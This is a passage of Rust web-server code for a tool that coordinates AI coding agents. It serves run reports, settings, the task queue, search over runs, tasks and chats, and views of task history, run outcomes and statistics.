3334 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3335 let live = state.liveness(daemon_claims);
3336 Ok(format!(
3337 "{}{}",
3338 report::run(&state),
3339 report::active_seats(&state, live)
3340 ))
3341 })
3342 .await?;
3343 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3344}
3345
3346async fn run_report_json(
3350 State(ui): State<Arc<Ui>>,
3351 Path(id): Path<String>,
3352) -> ApiResult<Json<crate::report_view::RunReportView>> {
3353 let view = blocking(move || {
3354 let id = resolve_run(&ui.runs, &id)?;
3355 let state = read_run(&ui.runs, &id)?;
3356 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3357 Ok(crate::report_view::build(
3358 &state,
3359 state.liveness(daemon_claims),
3360 ))
3361 })
3362 .await?;
3363 Ok(Json(view))
3364}
3365
3366#[derive(Debug, Serialize)]
3372struct TaskView {
3373 #[serde(flatten)]
3374 task: Task,
3375 source_label: String,
3376 source_link: Option<SourceLink>,
3377 status_str: &'static str,
3378 instruction_md: Vec<md::Node>,
3382 waits_on: Vec<String>,
3386 stuck_roots: Vec<String>,
3389}
3390
3391impl From<Task> for TaskView {
3392 fn from(task: Task) -> Self {
3393 Self {
3394 source_label: task.source.label(),
3395 source_link: source_link(&task.source),
3396 status_str: task.status.as_str(),
3397 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3398 waits_on: Vec::new(),
3399 stuck_roots: Vec::new(),
3400 task,
3401 }
3402 }
3403}
3404
3405impl TaskView {
3406 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3407 let waits_on = inv.waits_on(&task);
3408 let stuck_roots = inv
3409 .stuck_roots(&task)
3410 .iter()
3411 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3412 .collect();
3413 Self {
3414 waits_on,
3415 stuck_roots,
3416 ..Self::from(task)
3417 }
3418 }
3419}
3420
3421#[derive(Debug, Default, Deserialize)]
3424#[serde(default)]
3425struct ReposQuery {
3426 refresh: u8,
3427}
3428
3429async fn repos_list(
3436 State(ui): State<Arc<Ui>>,
3437 Query(q): Query<ReposQuery>,
3438) -> ApiResult<Json<Vec<repos::Repo>>> {
3439 let refresh = q.refresh != 0;
3440 blocking(move || {
3441 let (cfg, _) = Config::discover(&ui.repo, None)?;
3442 Ok(Json(ui.repos_cache.list(
3443 &cfg.repos.roots,
3444 Duration::from_secs(cfg.repos.scan_ttl),
3445 refresh,
3446 )))
3447 })
3448 .await
3449}
3450
3451async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3455 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3456}
3457
3458#[derive(Debug, Deserialize)]
3460#[serde(deny_unknown_fields)]
3461struct RolesBody {
3462 revision: String,
3464 #[serde(default)]
3466 roles: std::collections::BTreeMap<String, Vec<String>>,
3467 #[serde(default)]
3471 counts: std::collections::BTreeMap<String, serde_json::Value>,
3472}
3473
3474async fn settings_put_roles(
3480 State(ui): State<Arc<Ui>>,
3481 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3482) -> ApiResult<Json<settings::SettingsView>> {
3483 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3484 blocking(move || {
3485 settings::save(
3486 &ui.repo,
3487 ui.machine_config.as_deref(),
3488 &body.revision,
3489 &body.roles,
3490 &body.counts,
3491 )
3492 .map(Json)
3493 .map_err(|e| match e {
3494 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3495 settings::SaveError::Refused(m) => ApiError {
3496 status: StatusCode::UNPROCESSABLE_ENTITY,
3497 message: m,
3498 },
3499 settings::SaveError::Internal(m) => ApiError::internal(m),
3500 })
3501 })
3502 .await
3503}
3504
3505async fn queue_list(
3506 State(ui): State<Arc<Ui>>,
3507 Query(q): Query<ListQuery>,
3508) -> ApiResult<Json<Vec<TaskView>>> {
3509 blocking(move || {
3510 let tasks = ui.queue.list();
3511 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3512 Ok(Json(
3513 tasks
3514 .into_iter()
3515 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3516 .map(|t| TaskView::with_inventory(t, &inv))
3517 .collect(),
3518 ))
3519 })
3520 .await
3521}
3522
3523const SEARCH_MAX_HITS: usize = 100;
3525const SEARCH_MAX_QUERY: usize = 200;
3527const SEARCH_MAX_TERMS: usize = 8;
3528const SNIPPET_BEFORE: usize = 50;
3530const SNIPPET_AFTER: usize = 110;
3531
3532#[derive(Debug, Deserialize)]
3534struct SearchQuery {
3535 #[serde(default)]
3536 scope: String,
3537 #[serde(default)]
3538 q: String,
3539}
3540
3541#[derive(Debug, Serialize, PartialEq, Eq)]
3544struct SnippetPart {
3545 text: String,
3546 hit: bool,
3547}
3548
3549#[derive(Debug, Serialize)]
3550struct SearchHit {
3551 id: String,
3552 field: String,
3554 snippet: Vec<SnippetPart>,
3555 #[serde(skip_serializing_if = "Option::is_none")]
3559 run: Option<RunSummary>,
3560}
3561
3562#[derive(Debug, Serialize)]
3563struct SearchView {
3564 scope: String,
3565 q: String,
3566 hits: Vec<SearchHit>,
3568 total: usize,
3570 truncated: bool,
3571 unreadable: usize,
3574}
3575
3576fn text_leaves<'a>(
3579 value: &'a serde_json::Value,
3580 field: &'a str,
3581 out: &mut Vec<(&'a str, &'a str)>,
3582) {
3583 match value {
3584 serde_json::Value::String(s) => out.push((field, s)),
3585 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3586 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3587 _ => {}
3588 }
3589}
3590
3591fn fold_char(c: char) -> char {
3594 c.to_lowercase().next().unwrap_or(c)
3595}
3596
3597fn search_terms(q: &str) -> Vec<String> {
3599 let mut terms: Vec<String> = Vec::new();
3600 for t in q.split_whitespace() {
3601 let t = t.to_lowercase();
3602 if !terms.contains(&t) {
3603 terms.push(t);
3604 }
3605 }
3606 terms
3607}
3608
3609fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3612 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3613 let mut first: Option<usize> = None;
3614 for term in terms {
3615 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3616 first = Some(first.map_or(at, |f| f.min(at)));
3617 }
3618 let (field, text) = leaves[first?];
3620 Some(SearchHit {
3621 id: String::new(),
3622 field: field.to_owned(),
3623 snippet: snippet_of(text, terms),
3624 run: None,
3625 })
3626}
3627
3628fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3631 let chars: Vec<char> = text.chars().collect();
3632 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3633 let needles: Vec<Vec<char>> = terms
3634 .iter()
3635 .map(|t| t.chars().map(fold_char).collect())
3636 .collect();
3637 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3638 let mut best: Option<(usize, usize)> = None;
3639 for n in needles.iter().filter(|n| !n.is_empty()) {
3640 if n.len() > chars.len() || to == 0 {
3644 continue;
3645 }
3646 let last = (to - 1).min(chars.len() - n.len());
3647 if from > last {
3648 continue;
3649 }
3650 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3651 && best.is_none_or(|(b, _)| i < b)
3652 {
3653 best = Some((i, i + n.len()));
3654 }
3655 }
3656 best
3657 };
3658 let Some((start, _)) = find(0, chars.len()) else {
3659 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3661 return vec![SnippetPart {
3662 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3663 hit: false,
3664 }];
3665 };
3666 let lo = start.saturating_sub(SNIPPET_BEFORE);
3667 let hi = (start + SNIPPET_AFTER).min(chars.len());
3668 let mut parts: Vec<SnippetPart> = Vec::new();
3669 let mut push = |s: &[char], hit: bool| {
3670 if s.is_empty() {
3671 return;
3672 }
3673 let text: String = s.iter().collect();
3674 match parts.last_mut() {
3675 Some(p) if p.hit == hit => p.text.push_str(&text),
3676 _ => parts.push(SnippetPart { text, hit }),
3677 }
3678 };
3679 if lo > 0 {
3680 push(&['\u{2026}'], false);
3681 }
3682 let mut at = lo;
3683 while at < hi {
3684 match find(at, hi) {
3685 Some((s, e)) => {
3686 push(&chars[at..s], false);
3687 let shown = e.min(hi);
3689 push(&chars[s..shown], true);
3690 at = shown;
3691 }
3692 None => {
3693 push(&chars[at..hi], false);
3694 at = hi;
3695 }
3696 }
3697 }
3698 if hi < chars.len() {
3699 push(&['\u{2026}'], false);
3700 }
3701 let mut prev_space = false;
3704 for p in &mut parts {
3705 let mut out = String::with_capacity(p.text.len());
3706 for c in p.text.chars() {
3707 if c.is_whitespace() {
3708 if !prev_space {
3709 out.push(' ');
3710 }
3711 prev_space = true;
3712 } else {
3713 out.push(c);
3714 prev_space = false;
3715 }
3716 }
3717 p.text = out;
3718 }
3719 parts.retain(|p| !p.text.is_empty());
3720 parts
3721}
3722
3723fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3725where
3726 I: IntoIterator<Item = (String, serde_json::Value)>,
3727{
3728 for (id, doc) in docs {
3729 let mut leaves = Vec::new();
3730 leaves.push(("id", id.as_str()));
3733 text_leaves(&doc, "", &mut leaves);
3734 if let Some(mut hit) = search_document(terms, &leaves) {
3735 view.total += 1;
3736 if view.hits.len() < SEARCH_MAX_HITS {
3737 hit.id = id;
3738 view.hits.push(hit);
3739 }
3740 }
3741 }
3742 view.truncated = view.total > view.hits.len();
3743}
3744
3745fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3752 let opener = talk
3753 .turns
3754 .iter()
3755 .find(|t| t.who == crate::talk::Who::Operator)
3756 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3757 .unwrap_or("");
3758 let title: String = if opener.chars().count() > 96 {
3759 opener.chars().take(95).chain(['\u{2026}']).collect()
3760 } else {
3761 opener.to_owned()
3762 };
3763 let turns: Vec<serde_json::Value> = talk
3764 .turns
3765 .iter()
3766 .map(|t| {
3767 let who = match t.who {
3768 crate::talk::Who::Operator => "operator",
3769 crate::talk::Who::Agent => "agent",
3770 };
3771 serde_json::json!({ who: t.body })
3772 })
3773 .collect();
3774 serde_json::json!({ "title": title, "turns": turns })
3775}
3776
3777async fn search_get(
3784 State(ui): State<Arc<Ui>>,
3785 Query(q): Query<SearchQuery>,
3786) -> ApiResult<Json<SearchView>> {
3787 let query = q.q.trim().to_owned();
3788 if query.is_empty() {
3789 return Err(ApiError::bad_request("q must not be empty"));
3790 }
3791 if query.chars().count() > SEARCH_MAX_QUERY {
3792 return Err(ApiError::bad_request(format!(
3793 "q is longer than {SEARCH_MAX_QUERY} characters"
3794 )));
3795 }
3796 let terms = search_terms(&query);
3797 if terms.len() > SEARCH_MAX_TERMS {
3798 return Err(ApiError::bad_request(format!(
3799 "q has more than {SEARCH_MAX_TERMS} terms"
3800 )));
3801 }
3802 let scope = q.scope;
3803 if scope != "runs" && scope != "tasks" && scope != "chats" {
3804 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3805 }
3806 blocking(move || {
3807 let mut view = SearchView {
3808 scope: scope.clone(),
3809 q: query,
3810 hits: Vec::new(),
3811 total: 0,
3812 truncated: false,
3813 unreadable: 0,
3814 };
3815 if scope == "runs" {
3816 let mut unreadable = 0;
3817 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3821 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3822 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3823 Some(v) => Some((id, v)),
3824 None => {
3825 unreadable += 1;
3826 None
3827 }
3828 }
3829 });
3830 search_docs(&terms, docs, &mut view);
3831 view.unreadable = unreadable;
3832 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3835 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3836 for hit in &mut view.hits {
3837 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3838 hit.run = summarize(
3839 [state],
3840 &open_runs,
3841 &claimed,
3842 &superseded,
3843 |p| probe.borrow_mut().status(p),
3844 |p| probe.borrow_mut().started_at(p),
3845 )
3846 .pop();
3847 }
3848 }
3849 } else if scope == "chats" {
3850 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3851 view.unreadable = unreadable;
3852 search_docs(
3853 &terms,
3854 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3855 &mut view,
3856 );
3857 } else {
3858 let docs = ui.queue.list().into_iter().filter_map(|t| {
3859 let mut v = serde_json::to_value(&t).ok()?;
3860 if let Some(o) = v.as_object_mut() {
3863 o.insert("filed_by".to_owned(), t.source.label().into());
3864 }
3865 Some((t.id, v))
3866 });
3867 search_docs(&terms, docs, &mut view);
3868 }
3869 Ok(Json(view))
3870 })
3871 .await
3872}
3873
3874#[derive(Debug, Serialize)]
3876struct TaskRunView {
3877 n: usize,
3879 id: String,
3880 short: String,
3881 kind: &'static str,
3883 status: Option<&'static str>,
3885 readable: bool,
3887 provisional: bool,
3889 description: String,
3891 outcome: String,
3893 created_at: Option<Timestamp>,
3894 pr: Option<String>,
3895 exit: RunExit,
3897 attempt: AttemptCost,
3899 branch: Option<String>,
3901}
3902
3903#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3905#[serde(rename_all = "snake_case")]
3906enum RunExit {
3907 Unreadable,
3908 Interrupted,
3910 Parked,
3911 QuotaStall,
3912 ResumedQuotaStall,
3916 Merged,
3917 Ready,
3918 Superseded,
3919 AlreadyInBase,
3922 Stalled,
3924 HeldWithPr,
3926 NoopHeld,
3927 Spent,
3929 InProgress,
3930}
3931
3932#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3933#[serde(rename_all = "snake_case")]
3934enum AttemptCost {
3935 Spent,
3936 Refunded,
3937 None,
3938 Unknown,
3940}
3941
3942impl RunExit {
3943 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3944 let Some(s) = s else {
3945 return Self::Unreadable;
3946 };
3947 let status = s.status;
3948 if resumed_later {
3949 Self::Interrupted
3950 } else if s.parked {
3951 Self::Parked
3952 } else if !status.done() {
3953 Self::InProgress
3954 } else if matches!(status, RunStatus::Merged) {
3955 Self::Merged
3956 } else if matches!(status, RunStatus::Ready) {
3957 Self::Ready
3958 } else if matches!(status, RunStatus::Superseded) {
3959 Self::Superseded
3960 } else if matches!(status, RunStatus::AlreadyInBase) {
3961 Self::AlreadyInBase
3962 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3963 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3964 {
3965 if resumed {
3966 Self::ResumedQuotaStall
3967 } else {
3968 Self::QuotaStall
3969 }
3970 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3971 Self::HeldWithPr
3972 } else if matches!(status, RunStatus::VerifiedNoop) {
3973 Self::NoopHeld
3974 } else if matches!(status, RunStatus::Stalled) {
3975 Self::Stalled
3976 } else {
3977 Self::Spent
3978 }
3979 }
3980
3981 fn cost(self) -> AttemptCost {
3982 match self {
3983 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3984 Self::Merged
3985 | Self::Ready
3986 | Self::Stalled
3987 | Self::HeldWithPr
3988 | Self::NoopHeld
3989 | Self::Spent => AttemptCost::Spent,
3990 Self::InProgress => AttemptCost::None,
3991 Self::AlreadyInBase => AttemptCost::Refunded,
3992 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3993 AttemptCost::Unknown
3994 }
3995 }
3996 }
3997
3998 fn edge_label(self, status: Option<&str>) -> String {
4000 match self {
4001 Self::Unreadable => "record unreadable".to_owned(),
4002 Self::Interrupted => "interrupted before the run finished".to_owned(),
4003 Self::Parked => "parked, attempt refunded".to_owned(),
4004 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4005 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4006 Self::Merged => "merged".to_owned(),
4007 Self::Ready => "ready, not merged".to_owned(),
4008 Self::Superseded => "superseded by a later attempt".to_owned(),
4009 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4010 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4011 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4012 Self::NoopHeld => "verified no-op".to_owned(),
4013 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4014 Self::InProgress => "in progress".to_owned(),
4015 }
4016 }
4017
4018 fn explains(self, end: TaskStatus) -> bool {
4021 match self {
4022 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4023 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4024 Self::Unreadable | Self::Superseded | Self::Ready => true,
4025 _ => end != TaskStatus::Done,
4026 }
4027 }
4028}
4029
4030#[derive(Debug, Serialize)]
4032struct TaskDetailView {
4033 #[serde(flatten)]
4034 task: TaskView,
4035 max_attempts: usize,
4038 history: Vec<TaskRunView>,
4039 flow: FlowView,
4040 runs_unreadable: usize,
4042 attempts_note: &'static str,
4044}
4045
4046const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4047and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4048on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4049in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4050
4051fn review_branch_of(instruction: &str) -> Option<&str> {
4054 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4055 rest.split('`').next().filter(|b| !b.is_empty())
4056}
4057
4058struct RunSlot<'a> {
4060 n: usize,
4062 resumed: bool,
4064 resumed_later: Option<usize>,
4066 prior: Option<(&'a str, RunStatus)>,
4068 last: bool,
4069}
4070
4071fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4074 let RunSlot {
4075 n,
4076 resumed,
4077 resumed_later,
4078 prior,
4079 last,
4080 } = at;
4081 let short = run::short_of(id).to_owned();
4082 let Some(s) = state else {
4083 return TaskRunView {
4084 n,
4085 id: id.to_owned(),
4086 short,
4087 kind: "unknown",
4088 status: None,
4089 readable: false,
4090 provisional: false,
4091 description:
4092 "This run's record could not be read by this build (written by a different \
4093 magi, or removed), so what kind of attempt it was is unknown."
4094 .to_owned(),
4095 outcome: String::new(),
4096 created_at: None,
4097 pr: None,
4098 exit: RunExit::Unreadable,
4099 attempt: AttemptCost::Unknown,
4100 branch: None,
4101 };
4102 };
4103 let branch = review_branch_of(&s.instruction);
4104 let kind = if resumed {
4105 "resume"
4106 } else if branch.is_some() {
4107 "review"
4108 } else if task.solo || s.candidates.len() == 1 {
4109 "solo"
4110 } else {
4111 "competition"
4112 };
4113 let mut description = match kind {
4114 "resume" => {
4115 format!("Resumed run {short}: the same run carried on instead of competing again.")
4116 }
4117 "review" => format!(
4118 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4119 branch.unwrap_or_default()
4120 ),
4121 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4122 _ => format!(
4123 "Competition: {} candidates judged blind.",
4124 s.candidates.len().max(1)
4125 ),
4126 };
4127 if !resumed && let Some((p, st)) = prior {
4128 description.push_str(&format!(
4129 " A retry: run {p} before it ended {}.",
4130 st.display_label()
4131 ));
4132 }
4133
4134 let status = s.status;
4135 let provisional = matches!(status, RunStatus::Stalled)
4136 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4137 let head = if resumed_later.is_some() {
4138 String::new()
4139 } else {
4140 match status {
4141 RunStatus::Merged => "Merged.".to_owned(),
4142 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4143 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4144 RunStatus::AlreadyInBase => {
4145 "Already in the base: this change landed under other commits, nothing was left to land."
4146 .to_owned()
4147 }
4148 RunStatus::Stalled => {
4149 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4150 .to_owned()
4151 }
4152 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4153 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4154 RunStatus::VerifiedNoop => {
4155 "Verified no-op: the candidates found nothing to change.".to_owned()
4156 }
4157 other if other.done() => format!("Ended {}.", other.display_label()),
4158 other => format!("In progress ({}).", other.display_label()),
4159 }
4160 };
4161 let why = if let Some(k) = resumed_later {
4162 let cause = if s.quota.is_empty() {
4169 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4170 } else {
4171 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4172 };
4173 format!(
4174 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4175 )
4176 } else if s.parked {
4177 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4178 .to_owned()
4179 } else if !status.done()
4180 || matches!(
4181 status,
4182 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4183 )
4184 {
4185 String::new()
4186 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4187 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4188 {
4189 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4190 .to_owned()
4191 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4192 " It left a pull request open, so the task was held for a person rather than retried."
4193 .to_owned()
4194 } else if matches!(status, RunStatus::VerifiedNoop) {
4195 " Held for a person to check the claim.".to_owned()
4196 } else if last {
4197 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4198 } else {
4199 " It spent an attempt, and the task moved on to the next run.".to_owned()
4200 };
4201 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4202 TaskRunView {
4203 n,
4204 id: id.to_owned(),
4205 short,
4206 kind,
4207 status: Some(status.as_str()),
4208 readable: true,
4209 provisional,
4210 description,
4211 outcome: format!("{head}{why}"),
4212 created_at: Some(s.created_at),
4213 pr: s.pr.as_ref().map(|p| p.url.clone()),
4214 exit,
4215 attempt: exit.cost(),
4216 branch: branch.map(str::to_owned),
4217 }
4218}
4219
4220#[derive(Debug, Serialize, PartialEq)]
4222struct FlowNode {
4223 key: String,
4225 kind: &'static str,
4227 label: String,
4228 status: Option<&'static str>,
4231 note: Option<&'static str>,
4233 run_kind: Option<&'static str>,
4234 detail: Option<String>,
4235 decided: bool,
4237 readable: bool,
4238 href: Option<String>,
4239}
4240
4241#[derive(Debug, Serialize, PartialEq)]
4242struct FlowEdge {
4243 from: String,
4244 to: String,
4245 label: String,
4246 attempt: AttemptCost,
4247}
4248
4249#[derive(Debug, Serialize, PartialEq)]
4250struct FlowView {
4251 nodes: Vec<FlowNode>,
4252 edges: Vec<FlowEdge>,
4253 attempts: usize,
4255 max_attempts: usize,
4256}
4257
4258fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4261 let node = |key: &str, kind, label: String| FlowNode {
4262 key: key.to_owned(),
4263 kind,
4264 label,
4265 status: None,
4266 note: None,
4267 run_kind: None,
4268 detail: None,
4269 decided: false,
4270 readable: true,
4271 href: None,
4272 };
4273 let mut nodes = Vec::new();
4274 let mut edges: Vec<FlowEdge> = Vec::new();
4275 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4277 let mut n = node(
4278 "chat",
4279 "chat",
4280 format!("Chat {}", crate::queue::short(&link.id)),
4281 );
4282 n.href = Some(link.href);
4283 nodes.push(n);
4284 edges.push(FlowEdge {
4285 from: "chat".to_owned(),
4286 to: "start".to_owned(),
4287 label: "queued from chat".to_owned(),
4288 attempt: AttemptCost::None,
4289 });
4290 }
4291 nodes.push(node("start", "start", "Task queued".to_owned()));
4292 let mut prev = "start".to_owned();
4293 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4294 for (i, h) in history.iter().enumerate() {
4295 let key = format!("run-{}", h.n);
4296 let mut n = node(&key, "run", format!("Run {}", h.short));
4297 n.run_kind = Some(h.kind);
4298 n.readable = h.readable;
4299 n.href = Some(format!("#/runs/{}", h.id));
4300 n.decided = h.readable && !h.provisional;
4301 n.detail = h
4302 .branch
4303 .as_ref()
4304 .map(|b| format!("review-only run of branch {b}"));
4305 match h.exit {
4306 RunExit::Unreadable => n.note = Some("unreadable"),
4307 RunExit::Interrupted => n.note = Some("interrupted"),
4308 _ => {
4309 n.status = h.status;
4310 if h.provisional {
4311 n.note = Some("no verdict");
4312 }
4313 }
4314 }
4315 let into = match h.kind {
4316 "review" => Some(format!(
4317 "review-only run of branch {}",
4318 h.branch.as_deref().unwrap_or("?")
4319 )),
4320 "resume" => Some("resume the same run".to_owned()),
4321 _ if i > 0 => Some("retry".to_owned()),
4322 _ => None,
4323 };
4324 let label = match (prev_exit, into) {
4325 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4326 (Some((e, st)), None) => e.edge_label(st),
4327 (None, Some(i)) => i,
4328 (None, None) => "claimed".to_owned(),
4329 };
4330 edges.push(FlowEdge {
4331 from: prev.clone(),
4332 to: key.clone(),
4333 label,
4334 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4335 });
4336 prev_exit = Some((h.exit, h.status));
4337 prev = key;
4338 nodes.push(n);
4339 }
4340 let mut end = node("end", "end", task.status.as_str().to_owned());
4341 end.status = Some(task.status.as_str());
4342 nodes.push(end);
4343 let (label, attempt) = match prev_exit {
4344 None => (
4345 format!("no run yet \u{2192} {}", task.status.as_str()),
4346 AttemptCost::None,
4347 ),
4348 Some((e, st)) if e.explains(task.status) => (
4349 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4350 e.cost(),
4351 ),
4352 Some((e, _)) => (
4353 format!("closed by hand: task is {}", task.status.as_str()),
4354 e.cost(),
4355 ),
4356 };
4357 edges.push(FlowEdge {
4358 from: prev,
4359 to: "end".to_owned(),
4360 label,
4361 attempt,
4362 });
4363 FlowView {
4364 nodes,
4365 edges,
4366 attempts: task.attempts,
4367 max_attempts,
4368 }
4369}
4370
4371fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4374 let mut history = Vec::with_capacity(task.runs.len());
4375 let mut seen: Vec<&str> = Vec::new();
4376 let mut prior: Option<(&str, RunStatus)> = None;
4377 for (i, run_id) in task.runs.iter().enumerate() {
4378 let state = read(run_id);
4379 let resumed = seen.contains(&run_id.as_str());
4380 seen.push(run_id);
4381 history.push(task_run_view(
4382 run_id,
4383 state.as_ref(),
4384 RunSlot {
4385 n: i + 1,
4386 resumed,
4387 resumed_later: task.runs[i + 1..]
4388 .iter()
4389 .position(|r| r == run_id)
4390 .map(|off| i + off + 2),
4391 prior,
4392 last: i + 1 == task.runs.len(),
4393 },
4394 task,
4395 ));
4396 if let Some(s) = &state {
4397 prior = Some((run::short_of(run_id), s.status));
4398 }
4399 }
4400 history
4401}
4402
4403async fn task_detail(
4404 State(ui): State<Arc<Ui>>,
4405 Path(id): Path<String>,
4406) -> ApiResult<Json<TaskDetailView>> {
4407 blocking(move || {
4408 let id = resolve_task(&ui.queue, &id)?;
4409 let task = ui
4410 .queue
4411 .get(&id)
4412 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4413 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4414 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4415 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4416 let max_attempts = daemon::Opts::default().max_attempts;
4417 let flow = task_flow(&task, &history, max_attempts);
4418 Ok(Json(TaskDetailView {
4419 max_attempts,
4420 flow,
4421 history,
4422 runs_unreadable,
4423 attempts_note: ATTEMPTS_NOTE,
4424 task: TaskView::with_inventory(task, &inv),
4425 }))
4426 })
4427 .await
4428}
4429
4430#[derive(Debug, Serialize)]
4434struct RateView {
4435 pct: f64,
4436 denominator: usize,
4437}
4438
4439impl RateView {
4440 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4441 (denominator > 0).then(|| Self {
4442 pct: 100.0 * numerator as f64 / denominator as f64,
4443 denominator,
4444 })
4445 }
4446}
4447
4448#[derive(Debug, Serialize)]
4453struct StatsTotalsView {
4454 runs: usize,
4455 merged: usize,
4456 ready: usize,
4457 blocked: usize,
4458 failed: usize,
4459 stalled: usize,
4460 verified_noop: usize,
4461 superseded: usize,
4462 in_progress: usize,
4463 completion_rate: Option<RateView>,
4464 tallied: usize,
4465 split: usize,
4466 split_rate: Option<RateView>,
4467 deliberated: usize,
4468 minds_changed: usize,
4469 converged: usize,
4470 review_rounds: usize,
4471}
4472
4473impl From<&stats::Totals> for StatsTotalsView {
4474 fn from(t: &stats::Totals) -> Self {
4475 Self {
4476 runs: t.runs,
4477 merged: t.merged,
4478 ready: t.ready,
4479 blocked: t.blocked,
4480 failed: t.failed,
4481 stalled: t.stalled,
4482 verified_noop: t.verified_noop,
4483 superseded: t.superseded,
4484 in_progress: t.in_progress,
4485 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4486 tallied: t.tallied,
4487 split: t.split,
4488 split_rate: RateView::of(t.split, t.tallied),
4489 deliberated: t.deliberated,
4490 minds_changed: t.minds_changed,
4491 converged: t.converged,
4492 review_rounds: t.review_rounds,
4493 }
4494 }
4495}
4496
4497#[derive(Debug, Serialize)]
4499struct AgentStatsView {
4500 agent: String,
4501 entered: usize,
4502 wins: usize,
4503 empty: usize,
